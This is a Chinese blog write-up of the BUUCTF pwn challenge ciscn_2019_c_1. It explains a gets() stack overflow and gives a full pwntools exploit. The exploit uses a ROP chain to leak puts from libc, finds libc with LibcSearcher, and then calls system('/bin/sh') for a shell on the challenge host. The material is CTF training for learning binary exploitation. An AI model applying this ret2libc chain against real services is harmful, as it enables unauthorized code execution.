首页 > 其他分享 >BUU_ciscn_2019_c_1

BUU_ciscn_2019_c_1

时间:2024-07-30 23:09:31浏览次数:5  
标签:real p64 puts libc BUU ciscn 2019 addr

ciscn_2019_c_1

先查看保护机制,64位开了NX保护

发现应该是用不了ret2syscall的

v4是格式化输入的,不存在溢出55
[v4!=2退出里面的小循环,=1进入encrypt()函数]{.kbd .red}

看到s和gets(),填充为0x50+8
发现puts()->re2libc
然后程序有一个死循环

:::warning
if ( v0 >= strlen(s) )
break;
:::

让s第一个字符是‘\0’退出循环
offset=0x50+8-1

exp

from pwn import *
from LibcSearcher import *
p = remote('node5.buuoj.cn',28091)
#p=process('./ciscn_2019_c_1')
e=ELF("./ciscn_2019_c_1")
puts_plt=e.plt['puts']
puts_got=e.got['puts']
main_addr=0x400B28
ret=0x4006b9
pop_rdi=0x400c83
p.sendlineafter('Input your choice!\n','1')
payload1=b'\0'+b'a'*(0x50+8-1)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
p.sendlineafter('encrypted\n',payload1)
p.recvuntil('Ciphertext\n')
puts_real=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_real))
libc=LibcSearcher('puts',puts_real)
libc_addr=puts_real-libc.dump("puts")

bin_sh_addr=libc_addr+libc.dump("str_bin_sh")   
system_real_addr=libc_addr+libc.dump("system")
p.sendlineafter('Input your choice!\n','1')
payload2=b'\0'+b'a'*(0x50+8-1)+p64(ret)+p64(pop_rdi)+p64(bin_sh_addr)+p64(system_real_addr)+p64(main_addr) 
p.sendlineafter('encrypted\n',payload2)
p.interactive()

好趴,调用libcsearch库和那个网站最后都一样啊,还是有那么多版本还是要都试一遍

标签:real,p64,puts,libc,BUU,ciscn,2019,addr
From: https://www.cnblogs.com/Jexy/p/18333517

相关文章

  • [极客大挑战 2019]PHP
    [极客大挑战2019]PHP首先,进入网址,发现有一个非常有趣的动态画面,你可以用毛线球逗小猫玩,小猫也会与你互动,真不错!咳咳,返回正题,上面提示一段文字,说他有网站备份的习惯,查看网页源码什么信息都没有,应该是把关键文件放到别的路径了。去尝试一下看看,这里有一些常用的网站备份路径:常用......
  • [EIS 2019]EzPOP 代码审计 死亡绕过
    点击查看代码<?phperror_reporting(0);classA{protected$store;protected$key;protected$expire;publicfunction__construct($store,$key='flysystem',$expire=null){$this->key=$key;$this->sto......
  • [RoarCTF 2019]Easy Java
    [RoarCTF2019]EasyJavaStep1点击help按钮后发现:URL变成:url/Download?filename=help.docx而回显:java.io.FileNotFoundException:{help.docx}而当我尝试尝试POST,发现文件成功下载:Step2发现可能的漏洞点后,结合WEB-INF相关知识(见文末)可以下载WEB-INF/web.xmlPOST参数......
  • C++ - VS2019配置pthread线程库
    1.说明在VS里用MS编译器不能直接调用pthread库,需要先自行下载该库:http://sourceware.org/pub/pthreads-win32/pthreads-w32-2-9-1-release.zip解压后用得到的只有Pre-built.2文件夹下的文件。2.配置如下图分别配置三大项:包含目录-->...pthreads-w32-2-9-1-release\Pre-bu......
  • BUUCTF GWCTF2019 re3
    挺有意思的一题,记录一下主要思路为smc解密+AES算法扔进ida后找到主函数:发现函数地址异或,推测为smc,先按d转化为数据,然后直接使用python脚本解密:fromida_bytesimport*ea=0x402219foriinrange(0,224):patch_bytes(ea+i,bytes(ea+i)^0x99)选中按p生成......
  • Solution - Atcoder YPC2019E Odd Subrectangles
    首先对于\(0/1\)和为奇数,转化为异或为\(1\)来考虑。考虑如果已经确定了行的选取,又该如何计数。考虑对于每一列,都处理好在对应行的位置的异或值。然后记\(\operatorname{c}_0,\operatorname{c}_1\)表示列异或值为\(0/1\)的数量。知道了\(\operatorname{c}_0,\op......
  • [极客大挑战 2019]BabySQL
    [极客大挑战2019]BabySQL首先映入眼帘的是一个非常经典的登录界面![ctf]([极客大挑战2019]BabySQL.assets/ctf.png)我们先尝试判断一下这是什么注入点输入个1'看看怎么个事![image-20240729142647221]([极客大挑战2019]BabySQL.assets/image-20240729142647221.png)发现......
  • [GXYCTF2019]BabySQli
    [GXYCTF2019]BabySQli非常神奇的一道题,漏洞利用点在于联合查询时如果数据不存在,则会创建一个临时虚拟用户于是当前尝试username=admin,返回wrongpass则该用户名存在所以username:1'unionselect1,'admin','202cb962ac59075b964b07152d234b70'#(202cb962ac59075b964b07152......
  • [极客大挑战 2019]BabySQL
    [极客大挑战2019]BabySQL首先映入眼帘的是一个非常经典的登录界面我们先尝试判断一下这是什么注入点输入个1'看看怎么个事发现输入的1'被双引号包裹,再次输入1"显示密码不匹配,输入1'or1=1--+万能密码试试这里应该是过滤了or和+,用空格代替+尝试下大小写绕过不行,最后发......
  • [SUCTF 2019]CheckIn
    [SUCTF2019]CheckInStep发现上传文件试验后,Yourdiruploads/40faad96d40fbac7603474024cbb933aYourfiles:array(5){[0]=>string(1)"."[1]=>string(2)".."[2]=>string(9)".user.ini"[3]=>string(5)"1.jpg"......